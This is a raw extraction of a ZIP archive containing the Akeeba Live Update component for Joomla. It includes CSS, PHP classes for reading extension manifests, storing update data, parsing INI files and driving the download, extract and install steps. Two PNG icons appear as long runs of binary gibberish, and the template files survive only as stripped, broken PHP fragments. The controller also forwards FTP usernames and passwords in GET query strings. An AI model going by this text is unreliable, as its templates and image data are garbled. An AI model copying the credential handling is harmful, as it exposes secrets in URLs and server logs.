5px 5px #f88; } div.liveupdate-notsupported h3, div.liveupdate-stuck h3 { background: transparent url("fail-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: red; text-shadow: 1px 1px 6px #cccc00; } div.liveupdate-hasupdates { border: thin solid #999900; background: #fffff0; padding: 1em; color: #333300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #ff8; -webkit-box-shadow: 5px 5px 5px #ff8; box-shadow: 5px 5px 5px #ff8; } div.liveupdate-hasupdates h3 { background: transparent url("warn-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #660; text-shadow: 1px 1px 6px #ffff00; } div.liveupdate-noupdates { border: thin solid #009900; background: #f0fff0; padding: 1em; color: #003300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #8f8; -webkit-box-shadow: 5px 5px 5px #8f8; box-shadow: 5px 5px 5px #8f8; } div.liveupdate-noupdates h3 { background: transparent url("ok-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #060; text-shadow: 1px 1px 6px #00ff00; } div.liveupdate-infotable { width: 1020px; margin: auto auto; padding: 2px; border: thin solid #333; background: #fefefe; -moz-border-radius: 5px; -webkit-border-radius: 5px; -border-radius: 5px; } div.liveupdate-infotable .row0 { background: #fcfcfc } div.liveupdate-infotable .row1 { background: #f0f0f0 } div.liveupdate-row { padding: 5px 1px } span.liveupdate-label { display: inline-block; width: 200px; font-weight: bold; } span.liveupdate-data { display: inline-block; width: 400px; overflow: none } p.liveupdate-buttons { text-align: center; margin: 1em; } p.liveupdate-error-needsauth { margin: 1em; background: #ffcccc; border: medium solid #ff0000; color: #660000; font-size: large; font-weight: bold; padding: 1em; text-align: center; text-shadow: 1px 1px 2px white; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } p.liveupdate-poweredby { font-size: 8pt; color: silver; margin: 1em 0 0.5em 0 } p.liveupdate-poweredby a { color: silver; } div.liveupdate-ftp p { margin: 1em 2em; line-height: 140%; border: thin solid #00c; padding: 0.5em; color: #006; background-color: #f0f0ff; font-size: 14pt; text-shadow: 1px 1px 3px silver } PKB\vpVPPliveupdate/assets/update-32.pngnuW+APNG  IHDR szz pHYs  IDATX W[lUΜK QoR"b0& /ĤM|'>ht4BbL4'i(!1z#U Жnﻳ3?̜}9ZXu9 Ӿ %LČ.6';D V6l@p0 @~Hr4VoPJRml@2lM8A Ric TTATPB:`#Ќ~؋ %"\F<-!cfAdԈp eY(S$ -@ a+$bZ5^TgyM55)NK l" Y- RfR00k8D@!2 k I !]Q9P(EU~k"۰nk Ib#?j?ucp<0=lm)UCxmIh%N~ #UPn:)=ROH<Ⱦ;iu+`Aj&$܆E޳Bŝ 5R2Տo빼:tv R#v9FD`2@qGTm@Ŷr}Q G<Պ-}Z|hM"<'(eR(w LE[n!^+1Uu=MkTGv)}rQBX⏂XkdS]T-&|`Q.`S[v7ٛwΘ WptE׌1  %SJq޼]:V҉r;K ˰Ps^|ܝHQne"fiqŒtKx`+OEYքp D?F VSE`$a>6fn?s=[:dH0HˎOt g8w"dO(@Iج|vSK(1$ZPZ$>p6iH! z1F/C6£/ < Iy㐴пXPLҁ($E_~mz]gU$IyCV 4к>QAT!l>"Ew/[HbH+h{uwXz2$sBUqVPPa]x9BI//3N4|[\5r#ZSꑱHy2Jc $^o;'B ǞMsDgGϋy1>.Do.X$a 'fR^'CT$1e*M 2 LJoI?px=1 A<(Xnc_a |cNw[_pF@DŽp_U$-VJ|P^$a i=C R,,[UxYDJ|3xƜpHyzΘ5+@.o/$>L6XX籽 ؅c[±m':+0jDDZwF^-ʷk xSm4‚IENDB`PKB\)liveupdate/assets/.htaccessnuW+A Order allow,deny Deny from all PKB\q liveupdate/assets/current-32.pngnuW+APNG  IHDR szz pHYs  IDATX ŖPT}쏷n!AMaC$m"t&hLm"2)d4i)G8qL?Ѡ rYDxxwo}dA4zww;s?s]D){ٸ{ g.V0t-ݺ u u+XwE܀opO=_f<P h^o+*g7`sH9Dk(ay'a,|\T*{*ti_PjI`v~χ7Sp*(~//bZR~dJG/3ჴy%Д!>yU2̹+ޠ mf85?a*:Arv_l ^M[YM3RF^pjtEZXo?wp|~dݮ YƲ~V=SZ"aT( .o|pVBiGDr/lr'ďA}]θ]W`5(Nj|~SsU=;R^1<}}źy߅ճQJ|αwoz_s~?ïEnA5;O;:}:FGm錄mO@pÍcw2i`Αl1?ڦ{<5zztQMʙ/=W' ltZP, 0v3c~NE\R&gx_'IfbEpQ# \Tm8l)Pqݍc7Bwy XQ-W9%??,"J>P;$7u f8GiJDJ^v61"jwةA HIHĒYNIr=bf kav-Mgn&%/]4w4$ZLqsl*idOArnL|/SGLQdydrd:h h^{ẄKxX>PrkUj:.9ʼOtxKT{lH |-+6h~&9ڲÉ:czN++o#< y؃}^14np'uC HBkJr?hTJHr[ ܲT6"g NQa -j ^)? ~-ȉdJ  <#@[| VUII/TsG{6Dn[2`ףCv[/R9ԗף}b?\=%x69nBpS E<: B}):>O,]\&/~a\°~5kPU,YC-ίzWOd w{)F*/.Hǿw<֋fTⲢma3ch| zgr \!~̀y$7%Flw.ާ_Xz ;RHV_ `eQ >pWLnZ\Smc=ONv3KeYgop0 )/)1KqVնΩNIn R!p&`3SJH]bc%P/ ^"ֈӑ !/7VZg Fnq&J2w;H$d:g>1i,07w}[^a'lM%ߪj˾?7t+fddTI2E^(TBͳs&)!2G~(ږ%}#\g#BQpn38Gnw_?0I|M𣹞?(g,xto -1wP!Wk&yY)GgosPHb! XY: @)>9t詿Xꡍ/=im&c;%!7moTDt_!XFXXZdMA@Bfp\ѸB/'n|+T阛c1`+{WO$]YTB<MeH<=ZG\J ! aSe+$aԿ0xgY뭦]gS =EΥe`=Ej 0+yU|w i.L+6 CBH Tf(%a3x-TZ?`fGعj]?̟z˺ǃ'sCBiЀ76M,7:T`Vbn մkL B*Rй$mPӌ3ffISOIFoۼ) 3 ~­,!lkCCqe L]x¢8xmY@lC^u!qhԈɿq[Fhu}݀|OΒ]dgC>[h|Lzb[پy{~Е,$֪XS*X/| 60^^wq:YD:,<Xlњf_,yY~IqAnCJQ,k.D|/-_ues3U%k~xd{8KC!~G=yx0bK=zLKZ/%ˎ].5tuɦ*Há!_Į wTx|d Sl۲hKNCM&6pg7\K+xUw޿G葖 [Cg_FUP%bd C&9>cH)SGt[i*UG<3oYkz{C{ޕUiSr@M8Cfxe7I/ 9ۄĠ("+&O͡C[Pq#҄$ #0 Aնm xd]sfxsMD?XfA(ULc]&IZ^OKR++Ww׆wmw׶oizS كJCjG* odj[ ƺ*#uGcQ<>nD҃rovws1ɉ{l,|ub-+2w~:5UB"ረgD*}}  dz|0 p¼rHhqc 0SԠz"[۱g Хٖ_UU bZʹZq;IʘCo$Si/Y,GN\UUޒakͥ avЛ]$⏂HʃW:>ᇻDt8!n $vȀ$f?+hK+SY8!G*}M8zYƄ)!8r>erl*QC<;&gvX%IH7Cfje^[sMM!8ru;QIB׹8,q /C-7ޜm0w񜞜ܜN&Bj}U3owJάlصS:v8%#e}Nne V@|Ɍerc)uzVPH-/ZK1'i+R׍+'^z\%]8GbCJO lnMCeAihasUpdates = false; return $versionCheck; } }PKB\)liveupdate/.htaccessnuW+A Order allow,deny Deny from all PKB\ g,,liveupdate/classes/xmlslurp.phpnuW+A */ defined('_JEXEC') or die(); class LiveUpdateXMLSlurp extends JObject { private $_info = array(); public function getInfo($extensionName, $xmlName) { if(!array_key_exists($extensionName, $this->_info)) { $this->_info[$extensionName] = $this->fetchInfo($extensionName, $xmlName); } return $this->_info[$extensionName]; } /** * Gets the version information of an extension by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar, mod_foobar, plg_foobar or tpl_foobar. * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function fetchInfo($extensionName, $xmlName) { $type = strtolower(substr($extensionName,0,3)); switch($type) { case 'com': return $this->getComponentData($extensionName, $xmlName); break; case 'mod': return $this->getModuleData($extensionName, $xmlName); break; case 'plg': return $this->getPluginData($extensionName, $xmlName); break; case 'tpl': return $this->getTemplateData($extensionName, $xmlName); break; case 'pkg': return $this->getPackageData($extensionName, $xmlName); break; case 'lib': return $this->getPackageData($extensionName, $xmlName); break; default: if(strtolower(substr($extensionName, 0, 4)) == 'file') { return $this->getPackageData($extensionName, $xmlName); } else { return array('version'=>'', 'date'=>''); } } } /** * Gets the version information of a component by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getComponentData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $path = JPATH_ADMINISTRATOR.'/components/'.$extensionName; $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.file'); if(JFile::exists("$path/$xmlName")) { $filename = "$path/$xmlName"; } elseif(JFile::exists("$path/$extensionName.xml")) { $filename = "$path/$extensionName.xml"; } elseif(JFile::exists("$path/$altExtensionName.xml")) { $filename = "$path/$altExtensionName.xml"; } elseif(JFile::exists("$path/manifest.xml")) { $filename = "$path/manifest.xml"; } else { $filename = $this->searchForManifest($path); if($filename === false) $filename = null; } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ( ($xml->document->name() != 'install') && ($xml->document->name() != 'extension') ) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a module by reading its XML file * @param string $extensionName The name of the extension, e.g. mod_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getModuleData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_SITE.'/modules/'.$extensionName; if(!JFolder::exists($path)) { $path = JPATH_ADMINISTRATOR.'/modules/'.$extensionName; } if(!JFolder::exists($path)) { // Joomla! 1.5 // 1. Check front-end $path = JPATH_ADMINISTRATOR.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } // 2. Check front-end if(!JFile::exists($filename)) { $path = JPATH_SITE.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } } else { // Joomla! 1.6 $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a plugin by reading its XML file * @param string $extensionName The name of the plugin, e.g. plg_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getPluginData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $base = JPATH_PLUGINS; // Get a list of directories $stack = JFolder::folders($base,'.',true,true); foreach($stack as $path) { $filename = "$path/$xmlName"; if(JFile::exists($filename)) break; $filename = "$path/$extensionName.xml"; if(JFile::exists($filename)) break; $filename = "$path/$altExtensionName.xml"; if(JFile::exists($filename)) break; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a template by reading its XML file * @param string $extensionName The name of the template, e.g. tpl_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml or templateDetails.xml */ private function getTemplateData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); // First look for administrator templates $path = JPATH_THEMES.'/'.$altExtensionName; if(!JFolder::exists($path)) { // Then look for front-end templates $path = JPATH_SITE.'/templates/'.$altExtensionName; if(!JFolder::exists($path)) return array('version' => '', 'date' => ''); } $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/templateDetails.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * This method parses the manifest information of package, library and file * extensions. All of those extensions do not store their manifests in the * extension's directory, but in administrator/manifests. Kudos to @mbabker * for sharing this method! * * @param string $extensionName * @param string $xmlName * @return type */ private function getPackageData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_ADMINISTRATOR.'/manifests/packages'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'extension') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Scans a directory for XML manifest files. The first XML file to be a * manifest wins. * * @var $path string The path to look into * * @return string|bool The full path to a manifest file or false if not found */ private function searchForManifest($path) { jimport('joomla.filesystem.folder'); $files = JFolder::files($path, '\.xml$', false, true); if(!empty($files)) foreach($files as $filename) { $xml = JFactory::getXMLParser('simple'); $result = $xml->loadFile($filename); if(!$result) continue; if(($xml->document->name() != 'install') && ($xml->document->name() != 'extension') && ($xml->document->name() != 'mosinstall')) continue; unset($xml); return $filename; } return false; } }PKB\.gY$liveupdate/classes/tmpl/overview.phpnuW+A */ defined('_JEXEC') or die(); ?>
updateInfo->supported): ?>

escape($this->updateInfo->extInfo->updateurl) ?>

escape($this->updateInfo->extInfo->title)); ?>

updateInfo->stuck):?>

escape($this->updateInfo->extInfo->title)); ?>

updateInfo->hasUpdates ? 'hasupdates' : 'noupdates'; $auth = $this->config->getAuthorization(); $auth = empty($auth) ? '' : '?'.$auth; ?> needsAuth): ?>

updateInfo->extInfo->version ?>
updateInfo->version ?>
updateInfo->date ?>

updateInfo->hasUpdates):?> needsAuth ? 'disabled="disabled"' : ''?>

Powered by Akeeba Live Update

PKB\)!liveupdate/classes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\"liveupdate/classes/tmpl/index.htmlnuW+APKB\.#liveupdate/classes/tmpl/install.phpnuW+A */ defined( '_JEXEC' ) or die(); $state = &$this->get('State'); $message1 = $state->get('message'); $message2 = $state->get('extmessage'); ?>

Powered by Akeeba Live Update

PKB\5FYY'liveupdate/classes/tmpl/startupdate.phpnuW+A */ defined('_JEXEC') or die(); ?>

Powered by Akeeba Live Update

PKB\)$liveupdate/classes/storage/.htaccessnuW+A Order allow,deny Deny from all PKB\%liveupdate/classes/storage/index.htmlnuW+APKB\? (liveupdate/classes/storage/component.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update Component Storage Class * Allows to store the update data to a component's parameters. This is the most reliable method. * Its configuration options are: * component string The name of the component which will store our data. If not specified the extension name will be used. * key string The name of the component parameter where the serialized data will be stored. If not specified "liveupdate" will be used. */ class LiveUpdateStorageComponent extends LiveUpdateStorage { private static $component = null; private static $key = null; public function load($config) { if(!array_key_exists('component', $config)) { self::$component = $config['extensionName']; } else { self::$component = $config['component']; } if(!array_key_exists('key', $config)) { self::$key = 'liveupdate'; } else { self::$key = $config['key']; } jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent(self::$component); if(!($component->params instanceof JRegistry)) { $params = new JParameter($component->params); } else { $params = $component->params; } $data = $params->getValue(self::$key, ''); jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); self::$registry->loadINI($data); } public function save() { $data = self::$registry->toString('INI'); $db =JFactory::getDBO(); // An interesting discovery: if your component is manually updating its // component parameters before Live Update is called, then calling Live // Update will reset the modified component parameters because // JComponentHelper::getComponent() returns the old, cached version of // them. So, we have to forget the following code and shoot ourselves in // the feet. Dammit!!! /* jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent(self::$component); $params = new JParameter($component->params); $params->setValue(self::$key, $data); */ if( version_compare(JVERSION,'1.6.0','ge') ) { $sql = 'SELECT '.$db->nameQuote('params').' FROM '.$db->nameQuote('#__extensions'). ' WHERE '.$db->nameQuote('type').' = '.$db->Quote('component').' AND '. $db->nameQuote('element').' = '.$db->Quote(self::$component); $db->setQuery($sql); } else { $sql = 'SELECT '.$db->nameQuote('params').' FROM '.$db->nameQuote('#__components'). ' WHERE '.$db->nameQuote('option').' = '.$db->Quote(self::$component). " AND `parent` = 0 AND `menuid` = 0"; $db->setQuery($sql); } $rawparams = $db->loadResult(); $params = new JParameter($rawparams); $params->setValue(self::$key, $data); if( version_compare(JVERSION,'1.6.0','ge') ) { // Joomla! 1.6 $data = $params->toString('JSON'); $sql = 'UPDATE `#__extensions` SET `params` = '.$db->Quote($data).' WHERE '. "`element` = ".$db->Quote(self::$component)." AND `type` = 'component'"; } else { // Joomla! 1.5 $data = $params->toString('INI'); $sql = 'UPDATE `#__components` SET `params` = '.$db->Quote($data).' WHERE '. "`option` = ".$db->Quote(self::$component)." AND `parent` = 0 AND `menuid` = 0"; } $db->setQuery($sql); $db->query(); } } PKB\+dLL#liveupdate/classes/storage/file.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update File Storage Class * Allows to store the update data to files on disk. Its configuration options are: * path string The absolute path to the directory where the update data will be stored as INI files * */ class LiveUpdateStorageFile extends LiveUpdateStorage { private static $filename = null; public function load($config) { $path = $config['path']; $extname = $config['extensionName']; $filename = "$path/$extname.updates.ini"; self::$filename = $filename; jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); jimport('joomla.filesystem.file'); if(JFile::exists(self::$filename)) { self::$registry->loadFile(self::$filename, 'INI'); } } public function save() { jimport('joomla.filesystem.file'); $data = self::$registry->toString('INI'); JFile::write(self::$filename, $data); } } PKB\ǘ[77&liveupdate/classes/storage/storage.phpnuW+A */ defined('_JEXEC') or die(); /** * Abstract class for the update parameters storage * @author nicholas * */ class LiveUpdateStorage { /** * The update data registry * @var JRegistry */ public static $registry = null; /** * * @param string $type * @param array $config * @return LiveUpdateStorage */ public static function getInstance($type, $config) { static $instances = array(); $sig = md5($type, serialize($config)); if(!array_key_exists($sig, $instances)) { require_once dirname(__FILE__).'/'.strtolower($type).'.php'; $className = 'LiveUpdateStorage'.ucfirst($type); $object = new $className($config); $object->load($config); $newRegistry = clone(self::$registry); $object->setRegistry($newRegistry); $instances[$sig] = $object; } return $instances[$sig]; } public function &getRegistry() { return self::$registry; } public function setRegistry($registry) { self::$registry = $registry; } public final function set($key, $value) { if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_encode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = base64_encode(serialize($value)); } else { $value = serialize($value); } } self::$registry->setValue("update.$key", $value); } public final function get($key, $default) { $value = self::$registry->getValue("update.$key", $default); if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_decode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = unserialize(base64_decode($value)); } else { $value = unserialize($value); } } return $value; } public function save() {} public function load($config) {} }PKB\8\ liveupdate/classes/inihelper.phpnuW+A */ defined('_JEXEC') or die(); /** * A smart INI file parser with reproducible behaviour among different PHP versions */ class LiveUpdateINIHelper { /** * Parse an INI file and return an associative array. Since PHP versions before * 5.1 are bitches with regards to INI parsing, I use a PHP-only solution to * overcome this obstacle. * @param string $file The file to process * @param bool $process_sections True to also process INI sections * @return array An associative array of sections, keys and values */ public static function parse_ini_file( $file, $process_sections, $rawdata = false ) { if($rawdata) { return self::parse_ini_file_php($file, $process_sections, $rawdata); } else { if( version_compare(PHP_VERSION, '5.1.0', '>=') && (!$rawdata) ) { if( function_exists('parse_ini_file') ) { return parse_ini_file($file, $process_sections); } else { return self::parse_ini_file_php($file, $process_sections); } } else { return self::parse_ini_file_php($file, $process_sections, $rawdata); } } } /** * A PHP based INI file parser. * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on * the parse_ini_file page on http://gr.php.net/parse_ini_file * @param string $file Filename to process * @param bool $process_sections True to also process INI sections * @param bool $rawdata If true, the $file contains raw INI data, not a filename * @return array An associative array of sections, keys and values */ static function parse_ini_file_php($file, $process_sections = false, $rawdata = false) { $process_sections = ($process_sections !== true) ? false : true; if(!$rawdata) { $ini = file($file); } else { $file = str_replace("\r","",$file); $ini = explode("\n", $file); } if (count($ini) == 0) {return array();} $sections = array(); $values = array(); $result = array(); $globals = array(); $i = 0; foreach ($ini as $line) { $line = trim($line); $line = str_replace("\t", " ", $line); // Comments if (!preg_match('/^[a-zA-Z0-9[]/', $line)) {continue;} // Sections if ($line{0} == '[') { $tmp = explode(']', $line); $sections[] = trim(substr($tmp[0], 1)); $i++; continue; } // Key-value pair list($key, $value) = explode('=', $line, 2); $key = trim($key); $value = trim($value); if (strstr($value, ";")) { $tmp = explode(';', $value); if (count($tmp) == 2) { if ((($value{0} != '"') && ($value{0} != "'")) || preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) || preg_match("/^'.*'\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value) ){ $value = $tmp[0]; } } else { if ($value{0} == '"') { $value = preg_replace('/^"(.*)".*/', '$1', $value); } elseif ($value{0} == "'") { $value = preg_replace("/^'(.*)'.*/", '$1', $value); } else { $value = $tmp[0]; } } } $value = trim($value); $value = trim($value, "'\""); if ($i == 0) { if (substr($line, -1, 2) == '[]') { $globals[$key][] = $value; } else { $globals[$key] = $value; } } else { if (substr($line, -1, 2) == '[]') { $values[$i-1][$key][] = $value; } else { $values[$i-1][$key] = $value; } } } for($j = 0; $j < $i; $j++) { if ($process_sections === true) { if( isset($sections[$j]) && isset($values[$j]) ) $result[$sections[$j]] = $values[$j]; } else { if( isset($values[$j]) ) $result[] = $values[$j]; } } return $result + $globals; } }PKB\gE!liveupdate/classes/controller.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.controller'); /** * The Live Update MVC controller */ class LiveUpdateController extends JController { private $jversion = '15'; /** * Object contructor * @param array $config * * @return LiveUpdateController */ public function __construct($config = array()) { parent::__construct(); // Do we have Joomla! 1.6? if( version_compare( JVERSION, '1.6.0', 'ge' ) ) { $this->jversion = '16'; } $basePath = dirname(__FILE__); if($this->jversion == '15') { $this->_basePath = $basePath; } else { $this->basePath = $basePath; } $this->registerDefaultTask('overview'); } /** * Runs the overview page task */ public function overview() { $this->display(); } /** * Starts the update procedure. If the FTP credentials are required, it asks for them. */ public function startupdate() { $ftp = $this->setCredentialsFromRequest('ftp'); if($ftp === true) { // The user needs to supply the FTP credentials $this->display(); } else { // No FTP credentials required; proceed with the download $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); $this->redirect(); } } /** * Download the update package */ public function download() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->download(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_DOWNLOAD_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Download successful. Let's extract the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=extract'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } $this->setRedirect($url); } $this->redirect(); } public function extract() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->extract(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_EXTRACT_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Extract successful. Let's install the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=install'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } // Do we have SRP installed yet? $app = JFactory::getApplication(); $jResponse = $app->triggerEvent('onSRPEnabled'); $status = false; if(!empty($jResponse)) { $status = false; foreach($jResponse as $response) { $status = $status || $response; } } // SRP enabled, use it if($status) { $return = $url; $url = $model->getSRPURL($return); if(!$url) { $url = $return; } } $this->setRedirect($url); } $this->redirect(); } public function install() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->install(); if(!$result) { // Installation failed $model->cleanup(); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview'); $this->redirect(); } else { // Installation successful. Show the installation message. if(version_compare(JVERSION,'1.6.0','ge')) { $cache = JFactory::getCache('mod_menu'); $cache->clean(); } $this->display(); } } public function cleanup() { // Perform the cleanup $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $model->cleanup(); // Force reload update information $dummy = LiveUpdate::getUpdateInformation(true); die('OK'); } /** * Displays the current view * @param bool $cachable Ignored! */ public final function display($cachable = false) { $viewLayout = JRequest::getCmd( 'layout', 'default' ); $view = $this->getThisView(); // Get/Create the model $model = $this->getThisModel(); $view->setModel($model, true); // Assign the FTP credentials from the request, or return TRUE if they are required jimport('joomla.client.helper'); $ftp = $this->setCredentialsFromRequest('ftp'); $view->assignRef('ftp', $ftp); // Set the layout $view->setLayout($viewLayout); // Display the view $view->display(); } public final function getThisView() { static $view = null; if(is_null($view)) { $basePath = ($this->jversion == '15') ? $this->_basePath : $this->basePath; $tPath = dirname(__FILE__).'/tmpl'; require_once('view.php'); $view = new LiveUpdateView(array('base_path'=>$basePath, 'template_path'=>$tPath)); } return $view; } public final function getThisModel() { static $model = null; if(is_null($model)) { require_once('model.php'); $model = new LiveUpdateModel(); $task = ($this->jversion == '15') ? $this->_task : $this->task; $model->setState( 'task', $task ); $app = JFactory::getApplication(); $menu = $app->getMenu(); if (is_object( $menu )) { if ($item = $menu->getActive()) { $params =& $menu->getParams($item->id); // Set Default State Data $model->setState( 'parameters.menu', $params ); } } } return $model; } private function setCredentialsFromRequest($client) { // Determine wether FTP credentials have been passed along with the current request jimport('joomla.client.helper'); $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if ($user != '' && $pass != '') { // Add credentials to the session if (JClientHelper::setCredentials($client, $user, $pass)) { $return = false; } else { $return =& JError::raiseWarning('SOME_ERROR_CODE', 'JClientHelper::setCredentialsFromRequest failed'); } } else { // Just determine if the FTP input fields need to be shown $return = !JClientHelper::hasCredentials('ftp'); } return $return; } }PKB\_1_ liveupdate/classes/view.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.view'); /** * The Live Update MVC view */ class LiveUpdateView extends JView { public function display($tpl = null) { // Load the 